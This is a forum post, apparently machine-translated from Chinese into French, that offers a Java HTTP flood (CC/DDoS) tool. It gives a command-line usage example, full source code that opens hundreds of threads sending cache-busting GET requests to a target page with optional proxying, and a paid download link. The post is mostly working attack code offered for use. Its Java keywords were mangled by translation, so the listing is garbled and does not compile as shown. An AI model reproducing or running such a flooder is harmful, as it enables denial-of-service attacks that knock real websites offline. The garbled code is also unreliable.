Code JAR Attaque dDOS réalisée par Java. Cependant, ce n’est pas différent du dDos traditionnel. Ce logiciel est une attaque DDOS sur une page. Comment utiliser : Java -JAR ccddos.jar www.xxx.com 80 10 /index.do Username=xxx 80
[mw_shl_code=java,true]import java.io.IOException ; importer java.net.ConnectException ; importez java.net.InetSocketAddress ; import java.nio.ByteBuffer ; importer java.nio.channels.SelectionKey ; importer java.nio.channels.Selector ; importer java.nio.channels.SocketChannel ; import java.util.Iterator ; importer java.util.Random ; import java.util.Set ; importer java.util.Timer ; import java.util.TimerTask ; import java.util.Vector ;
/** * Fils démoniaques
* * Administration @author
* */ test de classe publique { privé String host, uri, param ; port privé ; privé final Vector<CCDDOSThread> v = nouveau Vector<CCDDOSThread>() ; privé InetSocketAddress isa ; threads privés intCompte = 500 ; Nombre de fils de fil privé Random r = new Random() ; Privé long timeout = 5000L ;
/** * Ouvrez l’attaque */ public void start() { pour (int i = 0 ; I < threadsCount ; i++) { CCDDOSThread t = new CCDDOSThread() ; v.add(t) ; t.start() ;
} Minuteur t = nouveau minuteur() ; t.schedule(new TimerTask() { Public Void Run() { compte d’ints = 0, timeoutthreads = 0 ; long ct = System.currentTimeMillis() ; pour (<CCDDOSThread>Itérateur it = v.itérateur() ; it.hasNext() ; ) { CCDDOShread th = it.next() ; if (th.isCancle() || !th.isAlive()) { it.remove() ; th = nulle ; compte++ ; } sinon si (ct - th.start > timeout) { Temps mort, extrémité externe timeoutthreads++ ; th.setCancle(vrai) ; th.interrupt() ; it.remove() ; th = nulle ; compte++ ; } } if (compte == 0) { rendre; } System.out.println (« Le thread a été fermé :"+count+ », où le thread d’expiration est connecté : » + fils de temps d’expiration) ; pour (int i = 0 ; Je < compte ; i++) { CCDDOSThread th = new CCDDOSThread() ; v.add(th) ; th.start() ; } } }, 0l, 100l) ; System.out.println (« Fil de discussion démoniaque initié : ») ; }
/** * @param args */ public static void main(String[] args) { si (args.length < 6) { System.out.println (« Instructions : ») ; System.out .println(« java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>] ») ; System.out.println(« ») ; System.exit(0) ; } sinon si (args.length >= 8) { Mets en place un agent System.getProperties().put(« proxySet », « true ») ; System.getProperties().setProperty(« http.proxyHost », args[6]) ; System.getProperties().setProperty(« http.proxyPort », args[7]) ; }
test m = nouveau test() ; m.host = args[0] ; m.port = Integer.valueDe(args[1]) ; m.uri = args[3] ; m.param = args[4] ; m.threadsCount = Integer.valueDe(args[2]) ; m.timeout = Long.valueDe(args[5]) ; m.isa = nouvelle adresse InetSocket(m.host, m.port) ; m.start() ; }
/** * Fils d’attaque * * @author zhanghongbo * */ class CCDDOSThread étends Thread { Cancle booléen privé = faux ; long start public = System.currentTimeMillis() ;
public void setCancle(boolean cancle) { this.cancle = cancle ; }
public boolean isCancle() { retour de Cancle ; }
Public Void Run() { long start = System.currentTimeMillis() ; Sélecteur de sélection ; try { selector = Selector.open() ; SocketChannel sc ; try { sc = SocketChannel.open(isa) ; } catch (ConnectException ex) { System.out.println(ex.getMessage()) ; cancle = vrai ; selector.close() ; rendre; }
sc.configureBlocking(false) ; sc.register(sélecteur, SelectionKey.OP_WRITE | SelectionKey.OP_READ) ; wait : while (selector.select() > 0 & !cancle) { if (System.currentTimeMillis() - start > timeout) { cancle = vrai ; pause d’attendre ; } Set< ?> readykey = selector.selectedKeys() ; Itérateur< ?> it = readykey.iterator() ; while (it.hasNext() & !cancle) { if (System.currentTimeMillis() - start > timeout) { cancle = vrai ; pause d’attendre ; } SelectionKey skey = (SelectionKey) it.next() ; it.remove() ; SocketChannel scc = (SocketChannel) skey.channel() ;
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Peau de corde = « GET » + uri + « ? » + param + « &rndnum= » + r.nextInt() + " HTTP/1.1\r\n » + « Hôte : » + hôte + « \r\n » + « Connexion : proche » + « \r\n » ; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()) ; scc.write (bbf) ; } skey.cancel() ; scc.close() ; } } selector.close() ; sc.close() ;
} catch (IOException ex) { cancle = vrai ; } } }
} [/mw_shl_code]
Téléchargement du produit fini et du code source :
java ddos.zip
(8.42 KB, Nombre de téléchargements: 0, Prix de vente: 2 Grain MB)
|